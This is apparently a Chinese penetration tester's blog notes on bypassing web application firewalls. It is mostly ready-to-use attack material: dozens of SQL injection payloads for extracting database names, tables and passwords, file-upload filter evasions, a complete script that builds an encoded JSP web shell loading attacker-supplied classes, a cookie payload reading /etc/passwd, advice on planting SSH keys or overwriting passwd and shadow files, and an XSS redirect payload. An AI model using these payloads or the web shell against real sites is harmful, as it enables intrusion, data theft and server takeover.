本文僅作學(xué)習(xí)記錄,如有侵權(quán),請聯(lián)系刪除?。?!
前言:
冒個泡,證明自己還在,輸出自己關(guān)于waf繞過的積累

SQL注入:
-
空格繞過:
每種類型的數(shù)據(jù)庫都允許使用空白字符。每個不同的RDBMS允許各種不同的空白字符,而不是通常的0x20。通過使用其他允許的空格字符切換標(biāo)準(zhǔn)空格,我們可以使某些防火墻無法識別注入,從而使我們能夠有效地繞過它們

1、/**/、/*!*/、%09、%0a、%0b、%0c、%0d替代
id=-1'+/*!u%6eion*/+select+1,2,3%23
2、用注釋符+換行符替代空格,比如:--%0a

3、用注釋符+垃圾數(shù)據(jù)+換行符,比如:--zxczcasd/*asdasd*/%0a
id=1%27--%0aor--%0aupdatexml(1,concat(0x7e,(select--%0atable_name--%0afrom--%0ainformation_schema.tables--%0awhere--%0atable_schema=database()--%0alimit--%0a0,1),0x7e),1)%23
4、用托號繞過空格:
如果空格被過濾,括號沒有被過濾,可以用括號繞過
在MySQL中,括號是用來包圍子查詢的。因此,任何可以計(jì)算出結(jié)果的語句,都可以用括號包圍起來。而括號的兩端,可以沒有多余的空格
select(user())from dual where(1=1)and(2=2)
這種過濾方法常常用于time based盲注:
id=1'and(if(ascii(substr(database(),1,1))>97,sleep(5),1))%23
id=1'and(if(ascii(substr(database()from(1)for(1)))>97,sleep(5),1))%23
id=1'and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
# from a for b:
從第a個字符開始讀取,共讀取b個字符

-
引號繞過:
針對數(shù)字型注入,使用十六進(jìn)制繞過或者寬字節(jié)繞過:
select column_name from information_schema.tables where table_name=0x7573657273
id=1'+and+extractvalue(0x31,0x636F6E63617428307837652C2873656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F736368656D613D6461746162617365282920616E64207461626C655F6E616D653D27757365727327206C696D697420302C31292C3078376529)%23
id=-1%df%27 union select 1,user(),3--+
id=-1y' union select 1,user(),3--+
id=-1%5c%5c%27 union select 1,user(),3--+ # 后面的 %5c 會被前面的 %5c 注釋掉
一般產(chǎn)生寬字節(jié)注入的PHP函數(shù):
1.replace():過濾 ' \ ,將 ' 轉(zhuǎn)化為 ' ,將 \ 轉(zhuǎn)為 \,將 " 轉(zhuǎn)為 " 。用思路一
2.addslaches():返回在預(yù)定義字符之前添加反斜杠(\)的字符串。
預(yù)定義字符:( ' , " , \ )用思路一(防御此漏洞,要將 mysql_query 設(shè)置為 binary 的方式)
3.mysql_real_escape_string()
-
逗號繞過:
在使用盲注的時候,需要使用到substr(),mid(),limit。這些子句方法都需要使用到逗號。對于substr()和mid()這兩個方法可以使用from to的方式來解決:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
使用join:
union select 1,2
#等價于
union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=114
#等價于
select user() like 'r%'
對于limit可以使用offset來繞過:
select * from news limit 0,1
# 等價于下面這條SQL語句
select * from news limit 1 offset 0
-
比較符繞過:
使用greatest()、least():(前者返回最大值,后者返回最小值)
# greatest(n1,n2,n3,...)函數(shù)返回輸入?yún)?shù)(n1,n2,n3,...)的最大值
id=1 and greatest(ascii(substr(database(),0,1)),64)=64
sqlmap中使用between的腳本進(jìn)行繞過
# 包含邊界值
select * from users where id between 1 and 10
-
and or xor not繞過:
and=&& or=|| xor=| not=!
id=1'+%26%26+'1'='1
-
使用 And 0 的另一種方法:
任何等于 0 的數(shù)學(xué)/算術(shù)或邏輯問題:
And 1*0
And 1-1
And 0/1
mod(10,2)=0
power(4,3)=64
-
使用 NULL 的另一種方法:
UNION SELECT 0,0,0,0
UNION SELECT false,false,false,false
UNION SELECT char(null),char(null),char(null),char(null)
UNION SELECT char(false),char(false,char(false),char(false)
UNION SELECT char(0),char(0),char(0),char(0)
UNION SELECT char(0x4e554c4c),char(0x4e554c4c),char(0x4e554c4c),char(0x4e554c4c)
UNION SELECT (0*1337-0),(0*1337-0),(0*1337-0),(0*1337-0)
UNION SELECT 34=35,34=35,34=35,34=35
-
注釋符繞過:
主要是想辦法閉合后面的引號,使sql語句能夠正常執(zhí)行
id=1' union select 1,2,3||'1
id=1' union select 1,2,'3
-
=號繞過:
<、>、<>繞過
id=!(id <> 1); # 相當(dāng)于id=1
like繞過:
% : 匹配0個或任意多個字符
_ : 匹配任意一個字符
escape : 轉(zhuǎn)義字符,可匹配%和_。如SELECT * FROM table_name WHERE column_name LIKE '/%/_%_' ESCAPE'/'
rlike和REGEXP
rlike:模糊匹配,只要字段的值中存在要查找的 部分 就會被選擇出來
regexp:MySQL中使用 REGEXP 操作符來進(jìn)行正則表達(dá)式匹配
. : 匹配任意單個字符
* : 匹配0個或多個前一個得到的字符
[] : 匹配任意一個[]內(nèi)的字符,[ab]*可匹配空串、a、b、或者由任意個a和b組成的字符串。
^ : 匹配開頭,如^s匹配以s或者S開頭的字符串。
$ : 匹配結(jié)尾,如s$匹配以s結(jié)尾的字符串。
{n} : 匹配前一個字符反復(fù)n次。
like是完全匹配。rlike和regexp是不完全匹配,只要不同時匹配^和 $, 其他的包含即可
between、strcmp繞過:
strcmp(str1,str2):若所有的字符串均相同,則返回STRCMP(),若根據(jù)當(dāng)前分類次序,第一個參數(shù)小于第二個,則返回 -1,其它情況返回 1
select * from users where id between 1 and 1
id=1' and substr(database(),1,1) between 'a' and 'z'%23
select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)
select strcmp(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)),117);
in 繞過:
id=1'+and+ascii(substr(database(),1,1))+in+('115')%23
-
繞過union,select,where:
雙寫繞過
大小寫繞過
內(nèi)聯(lián)注釋繞過:
id=0'+/*!union*//*!select*/+1,updatexml(1,concat(0x7e,(select+database())),1),3%23
-
等價函數(shù)繞過:
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
舉例:substring()和substr()無法使用時:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
其他繞過技巧及思路:
- MySQL數(shù)據(jù)庫支持兩種集合操作:UNION DISTINCT和UNION ALL,union其實(shí)是相當(dāng)于 union distinct
id=-1’union+distinct+select+sleep(2)#
- 原理是waf把空字節(jié)認(rèn)為是結(jié)束導(dǎo)致了后面的語句可以繞過
id=-1' union select 1,2,3# # 被攔截
id=-1%00' union select 1,2,3# # 不攔截,同時可以對其進(jìn)行url編碼
Tips:針對有爆出sql語句且過濾了空格的注入,可以先fuzz一波,看是否能找到一個會被替換為空的字符

更多方法及技巧請參考:
SQL注入 | 9種繞過Web應(yīng)用程序防火墻的方式
補(bǔ)充:
asp+iis的環(huán)境中,當(dāng)我們請求的url中存在單一的百分號%時,iis+asp會將其忽略掉,而沒特殊要求的waf當(dāng)然是不會的,比如:
sel%ect
文件上傳繞過:
- boundary=后面加tab鍵

- 刪除Content-type后面的類型信息
- 雙寫繞過
- 正常圖片文件的內(nèi)容開頭
- 利用windows特性:
- 文件名大小寫繞過
- 空格繞過,在文件名末尾添加
- 點(diǎn)號繞過,在文件名末尾添加
- 特殊符號繞過: test.php::$DATA、test.php:.jpg
- 路徑拼接繞過: test.php. .(注意最后一個點(diǎn)前有空格,適用于windows,且上傳的文件名沒有被修改)
- 00截?cái)嗬@過:php5.3之前會把0x00當(dāng)做結(jié)束符,繞過白名單。首先創(chuàng)建文件test.jpg,里面編輯php代碼,用burp截?cái)嗌蟼鳎诘谝恍猩蟼髀窂胶筇砑觮est.php%00即可。
注意:get型提交的內(nèi)容會被自動進(jìn)行url解碼,使用00截?cái)嘁P(guān)閉GPC以及在收到的參數(shù)不使用addslashes函數(shù)。post型用burp截?cái)嗪?,一般在path后面會顯示上傳路徑,同理添加/test.php (注意php后要加一個空格),然后點(diǎn)擊Hex,找到修改處那一行的hex值,把其中的20改成00即可- 文件名后加/繞過
- boundary等號前后空格繞過:
Content-Type: multipart/form-data; boundary = ----WebKitFormBoundaryALNskmXp1LtKgXqu
boundary等號前后ascii碼09繞過
- cp037編碼繞過:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryALNskmXp1LtKgXqu,charset=cp037
#python2
# 腳本內(nèi)置馬支持后綴jsp/jspx,都可解析
data = '''<?xml version="1.0" encoding="cp037"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:declaration>
class PERFORM extends ClassLoader {
PERFORM(ClassLoader c) { super(c);}
public Class bookkeeping(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] branch(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
</jsp:declaration>
<jsp:scriptlet>
String cls = request.getParameter("xxoo");
if (cls != null) {
new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response});
}
</jsp:scriptlet>
</jsp:root>'''
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
生成出來,burp選擇paste from file
- filename中的文件名用換行分隔繞過(從文件名中間找個位置,不是文件擴(kuò)展名)

- 黑名單上傳繞過:

- 超長文件名繞過
在判斷存在waf之后,需要考慮waf對什么內(nèi)容進(jìn)行了檢測,常見的有:
- 文件內(nèi)容
- Content-Type
- 后綴匹配
jsp內(nèi)容繞過的時候,一般都會對jsp中的%進(jìn)行檢測,可以嘗試修改一下上傳內(nèi)容如下:
filename:jsp
Content-Type:application/octet-stream
內(nèi)容:out.println ("helloworld")
- content-Encoding/Accept-Encoding繞過:
利用原理:
在http協(xié)議中,可以對內(nèi)容(也就是body部分)進(jìn)行編碼, 可以采用gzip這樣的編碼。從而達(dá)到壓縮的目的。也可以使用其他的編碼把內(nèi)容攪亂或加密,以此來防止未授權(quán)的第三方看到文檔的內(nèi)容。
利用方法:
添加 Accept-Encoding: deflate/Accept-Encoding: gzip
添加 Content-Encoding: deflate/Accept-Encoding: gzip
- Accept-Encoding:瀏覽器發(fā)給服務(wù)器,聲明瀏覽器(客戶端)支持的編碼類型。設(shè)置在請求頭當(dāng)中,會告訴服務(wù)器,我可以接受哪種編碼壓縮。
- Content-Encoding:決定文件接收方將以什么形式、什么編碼讀取這個文件,指定服務(wù)器響應(yīng)的 HTTP 內(nèi)容類型。設(shè)置在響應(yīng)頭中,會告訴客戶端,我用的是哪種編碼壓縮。但是也可以放在Header頭上
當(dāng)服務(wù)端接收到請求,并且從header里拿到編碼標(biāo)識時,就可以選擇其中一種方式來進(jìn)行編碼壓縮,然后返給客戶端。

- 換行+chunk 繞過:

通用繞過手段:
-
直接通過真實(shí)ip訪問:
這是一種對待云waf最有效的辦法,只要找到做cdn的之前的真實(shí)ip,那么直接通過ip訪問,則會使云waf完全失效,web應(yīng)用服務(wù)器失去云保護(hù)。
有時候通過ip去訪問一些網(wǎng)站會提示web頁面找不到,可能是有些網(wǎng)站在路由上直接使用的域名為硬路由,這時候需要修改host 解析文件,把相關(guān)域名和真實(shí)ip 給對應(yīng)上填上,再用域名去訪問。
# linux host文件路徑
/etc/hosts
# windows host文件路徑
C:\WINDOWS\system32\drivers\etc\hosts
-
切換協(xié)議:
通過切換http到https,或者h(yuǎn)ttps切換到http,如果web站點(diǎn)沒有進(jìn)行強(qiáng)制https訪問,那么http也能訪問到其站點(diǎn),如果waf錯誤配置,也能起到一點(diǎn)效果(方法比較特殊),還可以通過增加www,或者刪除www前墜有時也管用。
-
通過IPv6 訪問:
有許多入侵檢測系統(tǒng)也只監(jiān)控 IPv4 流量,沒有對IPv6 進(jìn)行監(jiān)控。
訪問格式:http://[ipv6地址]:80/index.html
ipv6為:2001:470:c:1818::2
訪問地址:http://[2001:470:c:1818::2]:80/index.html
-
對http包頭進(jìn)行修改:
比如添加以下標(biāo)頭:
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
x-client-ip
在一些做了訪客流量負(fù)載的web架構(gòu)很常見,他并不是把web服務(wù)器映射出去,而是把外面的訪問流量通過一臺流量轉(zhuǎn)發(fā)機(jī)器轉(zhuǎn)發(fā)到內(nèi)網(wǎng)web應(yīng)用服務(wù)器,這種形式的話,在轉(zhuǎn)發(fā)進(jìn)來的數(shù)據(jù)包中就會出現(xiàn)X-forwarded-for 等字段,標(biāo)示著是哪個ip訪問的web服務(wù)。
如果包存在:Content-Type: text/html,那么可以嘗試做以下修改:
Content-Type: #直接刪除類型值
Content-Type: text/htmlzzzzzzzzz #錯誤的類型值
Content-Type: application/octet-stream #其他類型值
有時候?qū)?MIME 類型設(shè)置為 multipart/form 數(shù)據(jù)然后對請求進(jìn)行錯誤處理也有奇效。
Content-Type: multipart/form-data ; boundary=0000
Content-Type: mUltiPart/ForM-dATa; boundary=0000
Content-Type: multipart/form-datax; boundary=0000
Content-Type: multipart/form-data, boundary=0000
Content-Type: multipart/form-data boundary=0000
Content-Type: multipart/whatever; boundary=0000
Content-Type: multipart/; boundary=0000
嘗試修改HTTP請求方法把get 改成post ,post改成get,或者改成put,有時候錯誤方法也能成功訪問,請求可以通過GETS而不是GET發(fā)送,并且在許多情況下仍會按預(yù)期運(yùn)行。
特別是在 PHP 中,根據(jù)配置,cookie 值可以被視為參數(shù)
/cmd/a.php
cookie: cmd1=;cat /etc/passwd
還有的是就是把http協(xié)議 1.1 改成1.0 ,因?yàn)榇蟛糠址?wù)器也支持1.0版本。
-
通過硬編碼值造成繞過:
PHP 中的+符號可用于實(shí)現(xiàn)此目的,而 ASP 中的%符號將實(shí)現(xiàn)類似的結(jié)果。
在 ASP 中,可以將無效的 URL 編碼添加到參數(shù)名稱中(請注意,編碼必須無效才能正常工作)
/cmd/a.php?%value=payload
/cmd/a.php?%}9value=payload
在 PHP 中,加號可以達(dá)到同樣的效果:
/cmd/a.php?+value=payload

-
分塊傳輸繞過:
注意:只有HTTP/1.1支持分塊傳輸
-
協(xié)議未覆蓋繞過:
針對POST請求,POST請求常用有2種參數(shù)提交方式:
Content-Type: application/x-www-form-urlencoded;
Content-Type: multipart/form-data;
Content-Type: text/xml
Content-Type: application/json
Content-Type: text/plain
其中multipart/form-data表示數(shù)據(jù)被編碼為一條消息,頁上的每個控件對應(yīng)消息中的一個部分
市場上大部分的WAF會解析這行 Content-Type 去識別是否是POST注入,因?yàn)橐乐狗椒ㄎ廴?。所以我們就可以根?jù)這個特性來設(shè)置不同的Content-Type利用嘗試?yán)@過WAF
繞過原理:
若Waf未能覆蓋Content-Type: multipart/form-data從而導(dǎo)致被繞過?;蛘遅AF會認(rèn)為它是文件上傳請求,從而只檢測文件上傳,導(dǎo)致被繞過
利用谷歌插件Request Maker進(jìn)行測試:
原始請求:

修改Content-Type后,進(jìn)行抓包:


如果發(fā)現(xiàn)可以成功繞過waf,直接將數(shù)據(jù)包丟進(jìn)sqlmap跑即可:

爭對Get請求同理,將Content-Type改成:application/x-www-form-urlencoded或者multipart/form-data

-
HPP參數(shù)污染/垃圾字符繞過:
在php中,如果遇到多個參數(shù),那么是從右到左來取參數(shù)值:

當(dāng)查詢字符串多次出現(xiàn)同一個key時,假設(shè)提交的參數(shù)即為:id=1&id=2&id=3,根據(jù)容器不同會得到不同的結(jié)果:
Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
php + apache:id=3
-
垃圾數(shù)據(jù)繞過:
在數(shù)據(jù)包鐘填入一些不影響結(jié)果的數(shù)據(jù),比如遇到php站,可以配合HPP參數(shù)污染來填入辣雞數(shù)據(jù)
-
通過變換路徑來bypass:
一些waf 或者web應(yīng)用通過web路由進(jìn)行封禁,體現(xiàn)為訪問某個特定的url路徑為403 等狀態(tài)。
- url編碼繞過:
id=0' union select 1,updatexml(1,concat(0x7e,(select+database())),1),3#
# 將其進(jìn)行url編碼,等價于
id=%30%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%75%70%64%61%74%65%78%6d%6c%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%28%73%65%6c%65%63%74%2b%64%61%74%61%62%61%73%65%28%29%29%29%2c%31%29%2c%33%23
- 雙重url編碼:
對字符應(yīng)用URL編碼兩次的過程。所需要的只是重新編碼百分號。如果數(shù)據(jù)在通過防火墻之后和到達(dá)數(shù)據(jù)庫之前被解碼兩次,則此編碼成功

- ascll編碼繞過:
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) limit 0,1),0x7e))#
- unicode編碼繞過:
iis支持unicode的解析,當(dāng)我們請求的url存在unicode字符串的話iis會自動將其轉(zhuǎn)換,但waf不一定,比如:
s%u0065lect->select
UTF-8 編碼表:https://www.utf8-chartable.de/
Unicode編碼種類繁多,基于黑名單的過濾器存在無法處理的情況,從而實(shí)現(xiàn)繞過
# 常用的幾個符號的一些Unicode編碼:
單引號:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、?'、?、?(%c0%27、%c0%a7%27、%e0%80%a7%27)
空格:%u0020、%uff00、? 、?、?(%c0%20、%c0%a0、%e0%80%a0)
左括號:%u0028、%uff08、?(、?、?(%c0%28、%c0%a8、%e0%80%a8)
右括號:%u0029、%uff09、?)、?、?(%c0%29、%c0%a9、%e0%80%a9)
id=1%u0027%u002b%u0061%u006e%u0064%u002b%u0031%u003d%u0031%u0023 #UTF-8
SELECT '?'='A';
id=10%D6‘%20AND%2201=2%23
畸形協(xié)議&請求:
asp/asp.net在解析請求的時候,允許application/x-www-form-urlencoded的數(shù)據(jù)提交方式,不管是GET還是POST,都可正常接收,過濾GET請求時如果沒有對application/x-www-form-urlencoded提交數(shù)據(jù)方式進(jìn)行過濾,就會導(dǎo)致任意注入。

php+Apache:
waf通常會對請求進(jìn)行嚴(yán)格的協(xié)議判斷,比如GET、POST等,但是apache解析協(xié)議時卻沒有那么嚴(yán)格,當(dāng)我們將協(xié)議隨便定義時也是可以的:

- 補(bǔ)充:
觀察接口信息,發(fā)現(xiàn)接口名字為UploadImg,猜測該接口用于圖片上傳,按照開發(fā)的習(xí)慣,保不準(zhǔn)會存在temp、test,這類的接口
有些時候文件上傳成功后端沒有返回路徑,只回顯了一個id號,這時候如果目標(biāo)存在注入的話,我們可嘗試用sqlmap的--search參數(shù)或者SQLshell對返回的ID號進(jìn)行搜索,這樣說不定就能找到shell地址了
在某些時候,當(dāng)前上傳文件夾無執(zhí)行權(quán)限,可以考慮通過../跨目錄上傳文件。另外,如果上傳目錄可控,可上傳文件到任意目錄的話,在linux場景我們可上傳一個ssh秘鑰用于遠(yuǎn)程登錄,極端一點(diǎn)的話,可考慮上傳passwd、shadow文件覆蓋系統(tǒng)用戶,但前提是權(quán)限要足夠大。
如果不能跨目錄,站點(diǎn)又沒有注入的話,那么我們可以嘗試尋找網(wǎng)站日志文件,例如泛微E-COLOGY日志的日志,像這種日志文件是有規(guī)律可循的,可以用burp進(jìn)行日志爆破,或許在日志文件中能找到shell路徑也說不定,如果在日志中沒有發(fā)現(xiàn)shell地址,那么可進(jìn)一步觀察日志里的文件路徑,諸如upload,filepath這類路徑,舉一反三,可對這些路徑fuzz shell地址。

- 一個白名單繞過案例:
看到這種情況估計(jì)不少師傅都會認(rèn)為后端做了白名單限制上傳了吧

錯誤回顯提示了只能上傳ppt/pptx/doc/docx/xls/xlsx/rar/jpg/png類型,但在后續(xù)的測試中,發(fā)現(xiàn)了types類型可控,且在存在多個后綴的情況下,后端只保留最后一個后綴,并重命名文件,所以只要上傳后綴包含了白名單限制內(nèi)的類型即可繞過,如(test.png.jsp),只會保留.jsp后綴,如下:

- 上傳繞過案例二:
一個把圖片轉(zhuǎn)base64的文件上傳類型:

通過抓包發(fā)現(xiàn)圖片是以base64進(jìn)行上傳的,觀察了下數(shù)據(jù)包,發(fā)現(xiàn)可通過更改upload_0字段內(nèi)容上傳任意文件

- 上傳繞過案例三:
測試發(fā)現(xiàn)fileName和fileType參數(shù)可控,且當(dāng)存在兩個不同的后綴時,最上層的filename參數(shù)優(yōu)先級為最高,可導(dǎo)致任意文件上傳

- 上傳繞過案例四:
- 嘗試雙寫繞過:

發(fā)現(xiàn)只判斷第一行的文件后綴,對第二行不做檢測
- 嘗試去掉filename的雙引號及大小寫繞過:

- 嘗試HPP繞過:

- 換行繞過:

目前已知:
換行雙寫閉合不檢測
同一行filename可雙寫
換行雙寫filename無閉合會檢測
不閉合單filename可寫入
成功繞過:

當(dāng)filename無閉合的時候,它會判斷下面一行是否為不允許上傳的類型,如果不是,第一行filename內(nèi)容就會上傳過去
補(bǔ)充:
當(dāng)waf對一些彈窗方法進(jìn)行過濾時,獲取對單雙引號進(jìn)行過濾時,可以使用location.href配合String.fromCharCode使其變?yōu)閁RL重定向漏洞:
<img/src=1 onmousemove=location.href=String.fromCharCode(104,116,116,112,115,58,47,47,119,119,119,46,98,97,105,100,117,46,99,111,109)
參考如下:
SQL注入繞過技巧
sql注入繞過方法總結(jié)
SQL注入的優(yōu)化和繞過
某系統(tǒng)Oracle+盲注Bypass
文件上傳之某開waf-bypass(2)
紅隊(duì)攻擊-繞過waf以及IDS等流量設(shè)備
我的wafBypass之道 - 云+社區(qū) - 騰訊云
技術(shù)討論 | 在HTTP協(xié)議層面繞過WAF
實(shí)戰(zhàn)繞過雙重waf結(jié)合sqlmap tamper獲取數(shù)據(jù)
通過 SQL 函數(shù)繞過 SQL 注入 WAF 的案例研究
web滲透測試中WAF繞過講解(二)基于HTTP協(xié)議繞過
任意文件上傳之繞過云waf+本地防火墻雙重防護(hù)